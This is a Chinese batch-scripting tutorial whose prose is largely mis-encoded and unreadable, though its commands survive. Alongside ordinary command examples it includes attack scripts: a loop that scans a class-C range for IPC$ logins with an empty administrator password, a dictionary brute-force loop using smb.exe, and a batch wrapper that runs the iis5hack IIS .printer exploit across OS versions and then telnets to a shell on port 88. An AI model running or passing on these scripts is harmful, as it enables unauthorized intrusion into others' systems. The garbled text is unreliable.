

--------------------------------------
1for ʽ 
FOR / %variable IN (set) DO command [command_parameters] %variable:ָһһĸ滻Ĳ磺%i ָһã%%i ñʱã%i% ִСдģ%i  %I
ÿܴı%0%910%0Ĭϸļʹã%1ĬΪʹôʱĵĵһֵͬ%2%9ָĵ2-9ֵnet use ipipc$ pass /user:user ipΪ%1,passΪ%2 ,userΪ%3

(set):ָһһļʹͨ磺(D:user.txt)(1 1 254)(1 -1 254),{ (1 1 254)һ"1"ָʼֵڶ"1"ָ"254"ֵָ1254(1 -1 254)˵2541 }

commandָԵڸļִе磺net useҪִжʱӣ& 
command_parametersΪضָп

IN (set)ָ(set)ȡֵDO command ִָcommand

/L ָʽ{ (set)Ϊʽʱ }/F ָļвȡֱֵȡΪֹ{ (set)Ϊļʱ(d:pass.txt)ʱ } 
÷ 
@echo off 
echo ÷ʽtest.bat *.*.* > test.txt 

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "ɹ" >>test.txt 
Ϊtest.bat ˵ָһCε254IPԽadministratorΪյIPC$ӣɹͰѸIPtest.txtС

/Lָʽ1-254254-1IPǰλ*.*.*ΪĬϵ %1%%G Ϊ(ipһλ& echo net use | ָipc$ڽfind鿴Ƿ"ɹ"Ϣ%1.%%G ΪIPַ(1 1 254) ָʼֵֵֹ 
@echo off 
echo ÷ʽok.bat ip 
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200 
Ϊok.exe ˵һIPֵļd:pass.dicd:user.dicеû룬ֱļֵȡΪֹ%%iΪû%1ΪIPַĬϣ
ߣ
2if ʽ 
IF [not] errorlevel   󷵻һڻֵָ˳룬ָΪ桱
IF errorlevel 0  ִָк󷵻صֵΪ0ʱֵкIF not errorlevel 1 ִָ󷵻صֵ1ִк
0 ֲָɹִУ棩1 ָûз֡ûִУ٣ 
IF [not] ַ1==ַ2  ָıַƥ䣨ַ1  ַ2ִк
if "%2%"=="4" goto startָĵڶΪ4ʱִкע⣺ñʱ%%" " 
IF [not] exist ļ  ָļڣִк
if not nc.exe goto endָûзnc.exeļ":end"ǩ 
IF [not] errorlevel   else  IF [not] ַ1==ַ2  else  IF [not] exist ļ  else  ϣelse ָǰʱָelseע⣺else  if ͬһвЧ delʱdelȫ< >ΪdelҪһʱִУ< >͵ǵһˣ磺if exist test.txt. <del test.txt.> else echo test.txt.missing עеġ. 
̳

ߣ    תԣInternet    6334

 

 

ö²ĲУǰʱֵúWorm.Dvldr һ͡Щиͬipc$ӣӶ²ԱĿﵽƷĿġɼļͼӵɡ㲻ϵı̣һЩ˼ͱ̱ȽϽơͨϺһЩѧѽǶܸȤ˽һЩ÷ȱȽϵͳ˽⣬дƪ̳̣øȤѶиʶͨý̳̾һдԼ
ý̳һΪ4󲿷֣һרڶķĲ

һ֣ר




ļǽһϵһ˳򼯺ΪһִеıļչΪBATЩͳҾҽһ
1 REM
REM Ǹעһעģڳִеʱ򽫲ᱻʾִС
REM ڿľע⣬һ佫ᱻִСԺн͵ݶREM REM档ע⡣




2 ECHO
ECHO һҪOFF ON,һECHO messageʾһضϢ 
Echo off
Rem ϴرջԼʾִе
Echo Ϣ
Rem ϴʾϢַ
ִн
C:\>ECHO.BAT
Ϣ




3 GOTO
GOTO Ϊת˼ԡXXXһȻGOTO ֱִбź
:LABEL
REM ΪLABELıš
DIR C:\
DIR D:\
GOTO LABEL
REM ϳתLABELִС




4CALL
CALL ִйеһһִټִԭ
2.BAT£
ECHO 2
1.BAT£
ECHO 1
CALL 2.BAT
ECHO 12ȫʾ
ִн£
C:\>1.BAT
1
2
12ȫʾ




5PAUSE
PAUSE ֹͣϵͳִвʾݡ
C:\> PAUSE
밴 . . .




6 IF
IF ж䣬﷨ʽ£
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
˵
[NOT] صĽȡֵûС˼
ERRORLEVEL ִɺ󷵻ص˳ֵ
Number ˳ֵȡֵΧ0~255жʱֵ˳ӦִСصֵڻֵָʱ
string1==string2 string1string2ΪַݣӢַĴСдͬеĵںű2ȣȺִк command
EXIST filename ΪļĿ¼ڵ˼
IF ERRORLEVELĳһ档ִIF ERRORLEVELжķֵ

1 IF [NOT] ERRORLEVEL number command
ִķֵжϡ
echo off
dir z:
rem ˳Ϊ1ɹ1ִ
IF ERRORLEVEL 1 goto 1
rem ˳Ϊ0ɹ0ִ
IF ERRORLEVEL 0 goto 0
:0
echo ִгɹ 
Rem ִexit˳
goto exit
:1
echo ִʧܣ
Rem ִexit˳
goto exit
:exit
Rem ǳĳ
2 IF string1==string2 command
⵱ǰֵж
ECHO OFF
IF 3%1==2 goto no
Echo ȣ
Goto exit
:no
echo 
goto exit
:exit
ҿЧ C:\>test.bat 





3 IF [NOT] EXIST filename command
ضļж
echo off
IF not EXIST autoexec.bat goto 1
echo ļڳɹ 
goto exit
:1
echo ļʧܣ
goto exit
:exit
ҿԷc̺d̷ֱִпЧ
7 FOR
FORȽһѭִͬʱFORѭ滹FORڽѭƪǽܻ÷ͲõѭˣõѭFOR£
FOR [%%c] IN (set) DO [command] [arguments]
£
FOR [%c] IN (set) DO [command] [arguments]
ò
/L üʾʽӿʼһСˣ(1,1,5)  1 2 3 4 5(5,-1,1)  (5 4 3 2 1)
/D аָͨĿ¼ƥ䣬ļƥ䡣
/F ָļжȡΪ
eol=c - ָһעַĽβ(һ)
skip=n - ָļʼʱԵ
delims=xxx - ָָ滻˿ոĬϷָ
tokens=x,y,m-n - ָÿеһűݵÿ for ᵼ¶Ƶķ䡣m-nʽΪһΧͨ nth ָ mthַеһַǺţôıһŽ֮䲢еıı
usebackq - ָ﷨ʹ:ΪִһŵַһַΪַ filenamesetʹ˫ļơ
һӣ
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
 myfile.txt еÿһУԷֺŴͷЩУÿеĵڶ͵Ŵݸ for 壻öź/ո񶨽šע⣬ for  %i ȡõڶţ %j ȡõţ %kȡõźʣšڴпոļҪ˫ŽļΪַʽʹ˫ţҪʹ usebackq ѡ˫ŻᱻĳҪַġ
%i ר for еõ˵%j  %k ͨtokens= ѡרŵõ˵ġͨ tokens= һָ 26 ţֻҪͼ˵һĸ 'z' 'Z' ıסFOR ִСдͨõģңͬʱ 52 ϶ʹС
ַʹ FOR /F ߼ǣõŽ֮ filenameset ַᱻһļеһһС FOR /F ǣ֮ filenameset һַַᱻУݵһ CMD.EXEᱻץڴ棬ļˣ:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
öٵǰеĻơ
оһ򵥵ӣ˵/Lûв
ɾļ1.TXT 2.TXT 3.TXT 4.TXT 5.TXT

ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT

FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
2ִеĽһ£
C:\>DEL 1.TXT
C:\>DEL 2.TXT
C:\>DEL 3.TXT
C:\>DEL 4.TXT
C:\>DEL 5.TXT




8 SETLOCAL
ʼļлĶıػִ SETLOCAL ֮
ĻĶֻļҪԭԭȵãִ
 ENDLOCAL ﵽļβʱڸļÿ
δִе SETLOCAL һ ENDLOCAL 
ִС
@ECHO OFF
SET PATH /*쿴PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*ûPATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
ǿԿPATH1αʾʱϵͳĬ·óE:\TOOLSʾΪE:\TOOLSENDLOCALǿԿֱԭϵͳĬ·ֻڸеʱáɺ󻷾PATHỹԭ



9 SHIFT
SHIFTϵĵʹó10%0~%9ϵĿ
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
ִн£
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
ϾǻWIN2000µ9



ڶ֣ķ



ЩǲʹõĵЩȴ塣
1 (@)
@е˼ǹرյǰеĻԡǴ֪echo offԹصԵȴܲʾecho offǰ@echo offһͱ@ر˻ԴӶﵽԵҪ
2 (>)
>˼ǴݲǡǽкĻԽݵķΧļҲĬϵϵͳ̨
ļ1.txtļΪ
1+1
ʹc:\>dir *.txt >1.txt
ʱ1.txt
 C еľûбǩ
к 301A-1508
C:\ Ŀ¼
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 ļ 18,630,070 ֽ
0 Ŀ¼ 1,191,542,784 ֽ 
>ִеĽԭʼļݡ
ڴݸ̨ʱ򽫲κλԣע⣺ĻԸecho offصĻԲͬһEcho offصĻԣĻǳִлĻԣ
C:\>dir *.txt >nul 
ûκʾҲκκۼ
3 (>>)
>>>ƣǵ>>Ǵݲļĩβ׷>>ҲɽԴݸ̨÷ͬϣ
ļ1.txtͬΪ
1+1
ʹc:\>dir *.txt >>1.txt
ʱ1.txt
1+1
 C еľûбǩ
к 301A-1508
C:\ Ŀ¼
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 ļ 18,630,070 ֽ
0 Ŀ¼ 1,191,542,784 ֽ 
>>ִеĽԭʼļݺ档
4 (|)
|һܵ˼ǽһִеĽݸһȥ
C:\>dir c:\|find "1508"
к 301A-1508
˼Ϊc:\в1508ַFind÷ find /?в鿴
ڲʹformatԶʽʱԶʽƬ
echo y|format a: /s /q /v:system
ùformat˶֪formatһԻ̣ҪʹyȷǰǷִСǰecho yùܵ|echoִеĽyݸformatӶﵽֹyĿģΣԣԵʱ
5 (^)
^ Ƕ > < &ǰַϵ3ŵ⶯ȥֻǵɷŶʹǵ塣
c:\>echo test ^> 1.txt
test > 1.txt
Կûаtestдļ1.txtǽtest >1.txt ַʾ˳Զ̹ʱЧ 
6 (&)
&һʹ2ϲͬһִʧܽӰ2ִС
c:\> dir z:\ &dir y:\ &dir c:\
ϵʾz: y: c:ڵݲ̷Ƿڡ
7 (&&)
&&Ҳһʹ2ϲͬһִʧܺٱִС
c:\> dir z:\ &&dir y:\ &&dir c:\
ϵʾǷz:ִУִֹͣеĺ
8 (" ")
" "ַаո񡣽һĿ¼·:
c:\>cd Program Files
c:\>cd progra~1
c:\>cd pro*
ϷԽProgram FilesĿ¼
9 ţ,
,൱ڿոĳЩ¿,ոʹá
c:\>dir,c:\
10 (;)
;ŵͬʱԽͬĿ;뿪ִЧ䡣ִйзֻش󱨸浫ǻִС
DIR C:\;D:\;E:\F:\
ϵ൱
DIR C:\
DIR D:\
DIR E:\
DIR F:\
ȻЩķŵǵʹ÷ΧСҾͲһһ˵ˡ





֣



ʵñʹƵĳӦ㡣ÿܴı%0~%910%0ĬϸļʹáʹSHIFT%0ܱ%1shift%1ǰһ%0ô£
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
ϵͳÿأϵͳֱĹΪַмĿո񣬼ֻҪֿոͰѿոǰַһոַΪһıһаոĳĿ¼ʱҪһ8õŽȦ
Ϊ
ECHO %1 
ECHO %2 
ECHO %3

C:\>TEST Program Files Program Files
Program Files
Program 
Files
һӵֿͬʱʹõıᳬ10ʱϵͳĹͻôôأϵͳлһֱ֮ΪʹSETԲ鿴ǰϵͳĻ統ǰϵͳĿ¼%windir%%SystemRoot%ȡͬʱʹõĲ10ʱǿ԰ĳЩںĳлҪõıΪ÷ SET A=%1 ǾһµĻA ڵñAʱҪ%A%ãSHIFTӰ졣ҪıһҪ¶òܸı䡣ȻҲԽб֮ĴﵽĿġһӣ£
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% Ĵ
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
ʹC:\>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K ע⣺һʾ11
A B L ʹ3SHIFT֮%9L
B L ĴݺĽ




Ĳ֣



ϾһЩ÷ǰЩ÷ϸķһĿǰϷһЩôġҽоϸΪ˱ֳҵעͻ/*档
һ
iis5hack.exe.printer©õĳiis5hack.exeϵͳԴtelnet.exeiis5hackʽΪ
iis5hack <Ŀip> <Ŀ˿> <Ŀ汾> <Ӷ˿>Ŀ汾Ϊ0-910ֱַӦͬ԰汾spϵͳ汾ǱƵʹõʽΪ <iis.bat Ŀip ʼ汾ţ>ʼ汾ſпޡ¡
@echo off /*ر
if "%1%"=="" goto help /*ж%1ǷΪգ%1ΪĿip
if "%2%"=="1" goto 1 /*ж%2ǷΪ1Ϊ1ת־1
if "%2%"=="2" goto 2 /*%2Ϊʼ汾ţû
if "%2%"=="3" goto 3 /*ƥĵطʼִ
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*ûзiis5hack.exeִб־file
ping %1 -n 1 | find "Received = 1" /*pingĿ1ΣӽзReceived = 1
if errorlevel 1 goto error /*شΪ1ִerror(1Ϊûз 0Ϊֲɹִ)
iis5hack %1 80 9 88 | find "good" /*ʼĿ˿80 ϵͳ9 Ӷ˿88 ִнзַgood(ɹŻַgood)
if not errorlevel 1 goto telnet /*ûд1ɹִtelnetεݡ
echo ϵͳ 9 ʧ! /ʾһ
:8 /*´ݲ
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 8 ʧ!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 7 ʧ!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 6 ʧ!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 5 ʧ!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 4 ʧ!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 3 ʧ!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 2 ʧ!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 1 ʧ!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo ϵͳ 0 ʧ!
goto error
:telnet
telnet %1 88 /*ʼĿip88˿
goto exit /*жϺתexit
:error /*errorʾİϢ
echo 粻ӻ߶Է޲©!밴ĸʽֹһ!
echo iis5hack [ĿIP] [WEB˿] [ϵͳ] [Ŷ˿]
ECHO : 0
ECHO +sp1: 1
ECHO Ӣ: 2
ECHO Ӣ+sp1: 3
ECHO : 4
ECHO +sp1: 5
ECHO : 6
ECHO +sp1: 7
ECHO ī: 8
ECHO ī+sp1: 9
goto exit /*תexit
:file /*fileʾļûзֵϢ
echo ļiis5hack.exeûз!ֹ!
goto exit /*תexit
:help /*helpʾʹøʽ
echo ÷:
echo iis [Ŀip]
echo iis [Ŀip] [ʼĺ9-0]
:exit /*exitΪ
ûʲôѭֻһ·ԴȽϳѶȲ

iisidq.exeidq©Ļʹõĳiisidq.exeϵͳԴĳtelnet.exeiisidq.exe÷£
в: ϵͳ Ŀĵַ web˿ 1 ˿ <1>
,û,ô,ĬΪ:"cmd.exe"
вϵͳ͵Ĵ뷶Χ0-14ǱƵʹõʽΪ <idq.bat Ŀip>£
@echo off /*ͬһ
һּ򻯵ĽűԣӦDOSWindowsϵͳУDOSWindowsϵͳǶͨCOMMAND.COMCMD.EXEļͼСUnixеShellűļ.bat.cmdչ򵥵ӣдлõĸӵҪʹifforgotoƳй̣ͬCBasicи߼һҪʵָӵӦãⲿǱҪģϵͳṩⲿ͵ṩĹ߻ļΪһDOSɵͨıļü±ֱӱ༭DOSҲDOSµı༭Edit.exe༭ڡʾ¼ļƣ˫ļϵͳͻCmd.exeиһ£ÿռһУȻҲԽضţ磺&&&|||ȣָдͬһУеifforȽϸ߼ҪռݼʮеĿռ䡣ϵͳڽʱɨȻӵһд뿪ʼִеֱβexit˳
[༭]
 echo   
򿪻ԻرԹܣʾϢûκβecho ʾǰá 
﷨ 
echo [{on|off}] [message] 
Sample@echo off / echo hello world 
ʵӦǻضţҲΪܵţһ> >> ^ʵһ 
ЩضļС
 rem  
עCе/*--------*/ᱻִУֻһע͵ãڱĶ 
Լպ޸ġ
:: ҲremĹ 
::remģرջʱrem::ݶʾǵ򿪻ʱremrem  
ݻʾȻ::Ȼʾ
Rem Message 
Sample@Rem Here is the description. 
 pause  
ͣ Pause ʱʾϢ
Press any key to continue. . .(밴. . .)
Sample 
@echo off 
:begin 
copy G:*.* d\back 
echo һŹ...
pause 
goto begin 
У G дϵļƵd:\backСʾעʾһŹ 
̷ G ʱpause ʹԱ̣Ȼ
 call  
һһ򣬲Ҳֹcall Ŀ 
ǩڽűļʹ Callá 
﷨ 
call [[Drive:][Path] FileName ] [:label [arguments]] 
 
[Drive:}[Path] FileName 
ָҪõλúơ
 start  
ⲿеDOSг򶼿startá
磺start calc.exe ɴWindowsļ
ò 
MIN ʼʱС 
SEPARATE ڷֿĿռڿʼ 16 λ Windows  
HIGH  HIGH ȼʼӦó 
REALTIME  REALTIME ȼʼӦó 
WAIT Ӧó򲢵Ⱥ 
parameters ЩΪ͵/Ĳ 
ִеӦó 32-λ GUI ӦóʱCMD.EXE Ӧóֹͷʾ 
űִУΪ򲻻ᷢ
 goto  
תָתָıǩӱǩĵһʼִ 
﷨goto label labelǲָҪתеС 
Sample 
if {%1}=={} goto noparms 
if {%2}=={} goto noparmsif%1%2㲻׵ĻȥϸĽ 
 
@Rem check parameters if null show usage 
:noparms 
echo Usage: monitor.bat ServerIP PortNumber 
goto end 
ǩֿ𣬵ĸĸǰӸʾĸǱǩgoto 
ǸѰһһЩ˵˿Żͼ
 set  
ʾûɾ
ʾset  set s ǰʾǰѶбֵʾsͷıֵ
ñset aa=abcd ˾aaֵabcdaaѱ壬aaֵ޸Ϊabcdaaδ壬˾ɶµıaaͬʱΪaaʼֵabcd
ɾset aa= ˾ɾaaaaѱ壬ɾaaaaδ壬˾Ϊʵ塣
Ҫ˵ǣеıǲ͵ģҪCеıҪintfloatcharȡִset aa=345󣬱aaֵȿԱΪ345ҲԱΪַ345
setչܣ롢ֵַȣڸ߼롣
[༭]ż
  @ 
ʾʾ@ֹУʹʽ˵Ӳ̣ȻöԷʹõ 
@÷ͨļԱpause@pause@Ч
 ض1 >>> 
Ϣضָ豸ļϵͳĬʾ
磺echo aaaaa>a.txt ɽʾʾϢaaaaaļa.txtУĻûκʾļa.txtѾڣȲa.txtеϢȻдϢaaaaaa.txtͲڣ½һa.txtļдϢaaaaa
echo aaaaa>>a.txt echo aaaaa>a.txtڣa.txtѴڣ>a.txta.txtеԭݣ>>a.txtԭݣa.txtļĩβϢaaaaaa.txtʱûв
 ض2 < 
ϢԴضΪָ豸ļϵͳĬϴʾȡϢ
ضʹþ
=========================================
@echo off
echo abcdefgļa.txtеϢ>a.txt
echo ַԻس
set /p ifo=
cls
echo  ĻõϢ 
echo %ifo%
set /p ifo=<a.txt
echo  ļa.txtõϢ 
echo %ifo%
pause>nul
=========================================
߹۲ᵽضĹܺЧ
 ܵ | 
ܵǰضܵźȥΪ롣ʹøʽΪcommand_1|command_2
ܵʹþ
=========================================
@echo off
echo aaaa>a.txt
del /p a.txt
pause
=========================================
@echo off
echo aaaa>a.txt
echo y|del /p a.txt
pause
=========================================
Աִн߼׹ܵ÷Ч
Ҫ˵ǣdelӿ/pֻΪö׹ܵŵʹ÷ʵɾļʱ/pؼʵʾֱɾ
 ת ^ 
תΪһţŵλָ| & > <
磬š>ֱ echo > ǲеģ޸Ϊ echo ^> ༸ҪͬĴ
תַʹþ
=========================================
@echo off
echo aaaa>a.txt
echo һechoִ
echo aaaa^>a.txt
echo ڶechoִ
pause
=========================================
ȽechoһechoϢaaaaļa.txtڶechoֱĻʾaaaa>a.txt
 ߼ 
߼&&&||
&-nDOSЩ˳ִУǷִʧܣ
&&-&&ǰɹִʱִ&&ִУ
||-||ǰʧʱִ||ִС
=========================================
@echo off
echo ^|^|
reg add HKCU /v try /f||echo **ɹ**
reg add HKCU1 /v try /f||echo **ʧ**
echo ^&^&
reg delete HKCU /v try /f&&echo **ɹ**
reg delete HKCU /v try /f&&echo **ʧ**
echo ^&
reg delete HKCU /v try /f&echo **ɹ**
reg delete HKCU /v try /f&echo **ʧ**
pause
=========================================
ִreg addreg deleteϵͳִнͨechoҲˡִнԱϵͳԼĽȿ֤߼жϻ
[༭]DOS
 ļй 
cd ʾǰĿ¼ı䵱ǰĿ¼
md Ŀ¼
rd ɾһĿ¼
dir ʾĿ¼еļĿ¼б
tree ͼʾ·ļнṹ
path Ϊִļʾһ·
xcopy ļĿ¼
 ļ 
type ʾıļݡ
copy һݻļƵһλá
del ɾһļ
move ƶļļĿ¼(Windows XP Home Editionû)
ren ļ
replace 滻ļ
attrib ʾļԡ
find ַ
fc Ƚļļʾ֮Ĳͬ
  
ping Ӳԡƽ
ftp ļ
net û
telnet Զ̵½
ipconfigʾ޸TCP/IP
msg ûϢ
arp ʾ޸ľIPַ-ַӳб
 ϵͳ 
at ضںʱͳ
shutdownʱػ
tskill 
taskkill(tskill߼WinXPHome޸)
tasklistʾб(Windows XP Home Editionû)
sc ϵͳ
reg ע̨
powercfgϵͳϵĵԴ
гcmd+/?ɲ鿴İϢfind /?
[༭]ṹ
CԣҲṹṹҪѡṹ(if)ѭṹ(for)ȡ
 if(ѡṹ) 
ifʵжϣַȽϡжϡжϵȡͨжϣif伴ʵѡܡ
1ַȽ
ifַܹ()ǷͬȺ˳жϵȡʽΪ
IF [not] string1 compare-op string2 command1 [else command2]
УȽϲcompare-op¼ࣺ
== - 
EQU - 
NEQ - 
LSS - С
LEQ - Сڻ
GTR - 
GEQ - ڻ
ѡ񿪹/iַСдѡnotжϽ߼ǡ
ַȽʾ
===============================================
@echo off
set str1=abcd1233
set str2=ABCD1234
if %str1%==%str2% (echo ַͬ) else (echo ַͬ)
if /i %str1% LSS %str2% (echo str1^<str2) else (echo str1^>=str2)
echo.
set /p choice=Ƿʾǰʱ䣿(y/n)
if /i not %choice% EQU n echo ǰʱǣ%date% %time%
pause>nul
===============================================
һifжϣnNʱЧһģʾʱ䡣ȡ/iNʱɻʾʱ䡣
עһ¼ϸڣ1-echo str1^<str2echo str1^>=str22-echo.
2ж
жϵĹжļļǷڡʽΪ
IF [NOT] EXIST filename command1 [else command2]
===============================================
@echo off
if exist %0 echo ļ%0Ǵڵģ
if not exist %~df0 (
echo ļ%~df0ڣ
) else echo ļ%~df0ڣ
pause>nul
===============================================
ע⼸ط
1-жϼȿжļҲжļУ
2-%0ȫ(̷·ļչ)
3-%~df0Ƕ%0̷ֻ·οfor /?߼룻
4-עifĶддҪcommand1űifͬһСelsecommand1ͬСcommand2űelseͬСcommand1command2Уcommand
3ж
жϵĹжϱǷڣǷѱ塣ʽΪ
IF [not] DEFINED variable command1 [else command2]
жϾ
===============================================
@echo off
set var=111
if defined var (echo var=%var%) else echo varδ壡
set var=
if defined var (echo var=%var%) else echo varδ壡
pause>nul
===============================================
Աȿ֪"set var="ȡջرռݵڴռ䡣
4ж
masm %1.asm 
if errorlevel 1 pause & edit %1.asm 
link %1.obj 
ȶԴл࣬ʧͣʾϢڰԶ༭棻linkɵobjļ÷жǰһִкķ루Ҳд룬DOSз룩ͶĴϣﶨĴΪ1ִӦĲӦĲΪpause & edit %1.asm֣ 
⣬÷һ÷ҲԱʾ񶨡÷񶨵ʽԱ˼Ϊ
masm %1.asm 
if not errorlevel 1 link %1.obj 
pause & edit %1.asm
 for(ѭṹ) 
forʵCѭṹȻforĹҪǿһ㣬ͨͬĿؿʵָĹܡforжأͬؽʵֲͬĹܡ
1޿
޿صforܹ趨ķΧڽѭforѭ䡣ʽΪ
FOR %%variable IN (set) DO command
У%%variableдʽDOSдΪ%variableֻһٷֺ(%)setҪ趨ѭΧCѭdocommandѭִеѭ塣
޿for
===============================================
@echo off
for %%i in (a,"b c",d) do echo %%i
pause>nul
===============================================
2/L
/Lfor䣬ԸsetýѭӶʵֶѭֱӿơʽΪ
FOR /L %%variable IN (start,step,end) DO command
УstartΪʼĳʼֵstepΪÿεֵendΪֵendСstartʱstepҪΪ
/Lfor(5ļ)
===============================================
@echo off
for /l %%i in (1,2,10) do md %%i
pause
===============================================
½5ļУļΪ13579Է֣%%iĽֵendֵ10ǲendһ
3/F
/FforǿĹܣַܹвҲܹķֵвԷӲϵASCIIļtxtĵȡʽΪ
FOR /F ["options"] %%variable IN (set) DO command
УsetΪ("string"'command'file-set)еһoptions(eol=cskip=ndelims=xxxtokens=x,y,m-nusebackq)еһϡѡμfor /fһ£ʹý϶skiptokensdelimsѡ
/Ffor
===============================================
@echo off
echo **No Options:
for /f %%a in ("1,2,10") do echo a=%%a
echo **Options tokens ^& delims:
for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c
pause
===============================================
@echo off
echo ļļУ
for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (
if not "%%a"=="<DIR>" if not "%%b"=="ֽ" if not "%%b"=="ֽ" echo %%b
)
pause
===============================================
@echo off
echo ļļУ
dir>c:\file.txt 
for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (
if not "%%a"=="<DIR>" if not "%%b"=="ֽ" if not "%%b"=="ֽ" echo %%b
)
del c:\file.txt
pause
===============================================
ںӣoptionsdelims= ǿɾģΪֻҪ/FϵͳͽdelimsֵĬΪո
ַеһַǺţ
ôıһŽ֮
䲢еııҲԸΪ4ļпոļֻʾոǰ
ͬʱҲˣfordocommandҲǿԷеģֻҪ֤commandźdoͬһоͿˡ
4/D/R
/D/RforĿ¼ļйصһºʹá/RʱͨļĳһļļУʶоٴ
/Rfor(ļб)
===============================================
@echo off
setlocal enabledelayedexpansion
FOR /R d: %%i IN (.) DO (
set dd=%%i
set "dd=!dd:~0,-1!"
echo !dd!
)
pause
exit
===============================================
гDµļУٶҪ"tree d:"ˣ䷵ؽʵԶԶtree
һǲƼͨļļرڲĳЩ(QQ.exe)λʱƼͨregעQQ·Ա֤Чʡ
Ҳ˼ףsetlocal̾ŵȡУ̾ʵǱٷֺ(%)ǿ档֮Ҫ!%ΪforѭУһθֵʱ%dd%ȡĽddһαֵҪˢddֵͱͨ"setlocal enabledelayedexpansion"ӳٱأȻ!dd!ȡddֵ
for湦ǿʹձȴյһҲԵһˮ룬һô˲Զˣ
[༭]ַ
žзǳǿַ书ܾCַпʵֵַУȡַݡ滻ַضֶΡϲַַȹܡЩһһн⡣
 1ȡַ 
ȡַ˵ַõһӹˣܹʵֽȡַеضλõһַ˵ܣ
=========================================
@echo off
set ifo=abcdefghijklmnopqrstuvwxyz0123456789
echo ԭַڶΪַţ
echo %ifo%
echo 123456789012345678901234567890123456
echo ȡǰ5ַ
echo %ifo:~0,5%
echo ȡ5ַ
echo %ifo:~-5%
echo ȡһ6ַ
echo %ifo:~0,-5%
echo ӵ4ַʼȡ5ַ
echo %ifo:~3,5%
echo ӵ14ַʼȡ5ַ
echo %ifo:~-14,5%
pause
=========================================
ȻֻǽַĻչʾˣַʲôôǶʱд
=========================================
@echo off
echo ǰʱǣ%time%  %time:~0,2%%time:~3,2%%time:~6,2%%time:~9,2%
pause
=========================================
 2滻ַ 
滻ַĳһַеضַַ滻Ϊַ˵书ܣ
=========================================
@echo off
set aa=ΰйΪԺ
echo 滻ǰ%aa%
echo 滻%aa:й=л񹲺͹%
echo aa = %aa%
set "aa=%aa:й=л񹲺͹%"
echo aa = %aa%
pause
=========================================
һ˵Աecho aa = %aa%Է֣Ҫ޸ıaaݵĻҪ޸Ľ%aa:й=л񹲺͹%ֵaaַȡҲͬص㡣
 3ַϲ 
ʵϲַǽַһͿˡ˵
=========================================
@echo off
set aa=ΰй
set bb=ΪԺ
echo %aa%%bb%
echo aa=%aa%
echo bb=%bb%
set "aa=%aa%%bb%"
echo aa=%aa%
pause
=========================================
ͬҪıaaݵĻҪϲ%aa%%bb%ֵaa
 4ַ 
䡱ʻ΢Լķ룬˼ǶԱʾļ·ַĴ幦£
=========================================
~I - ɾκ(") %I
%~fI -  %I 䵽һȫϸ·
%~dI -  %I 䵽һ
%~pI -  %I 䵽һ·
%~nI -  %I 䵽һļ
%~xI -  %I 䵽һļչ
%~sI - ·ֻж
%~aI -  %I 䵽ļļ
%~tI -  %I 䵽ļ/ʱ
%~zI -  %I 䵽ļĴС
%~$PATH:I - ·Ŀ¼ %I 
ҵĵһȫϸơ
δ壬ûҵļϼ䵽
ַ
ηõؽ:
%~dpI -  %I 䵽һź·
%~nxI -  %I 䵽һļչ
%~fsI -  %I 䵽һж·
%~dp$PATH:i - ·Ŀ¼ %I 
ҵĵһź· 
%~ftzaI -  %I 䵽· DIR
=========================================
for /?ϢеIIҪ˵ǣеıܹģ1ַһļ·2Ҫ%xʾxȡa-z A-Z 0-962ַеһ˵
=========================================
@echo off
echo е
echo ȫ·%0
echo ȥţ%~0
echo ڷ%~d0
